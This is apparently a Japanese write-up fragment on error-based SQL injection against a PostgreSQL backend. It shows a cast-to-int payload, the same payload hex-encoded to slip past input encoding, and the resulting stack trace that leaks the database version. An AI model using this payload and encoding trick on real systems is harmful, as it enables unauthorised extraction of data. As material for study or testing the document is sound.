SQLのバージョン取得
特殊なエンコードのためBlindで抜くのはめんどい
スタックトレース出力できるんだからこれを利用できるよね。
HEX形式に変換して以下にする
取れた
18
’||cast(version() as int)||’
$0027$007c$007c$0063$0061$0073$0074$0028$0076$0065$0072$00
73$0069$006f$006e$0028$0029$0020$0061$0073$0020$0069$006e$
0074$0029$007c$007c$0027
Caused by: org.postgresql.util.PSQLException: ERROR: invalid input
syntax for integer: “PostgreSQL 13.7 (Debian 13.7-1.pgdg110+1) on
x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1
20210110, 64-bit“
Where: PL/pgSQL function dso.count_estimate(text) line 6 at FOR over
EXECUTE statement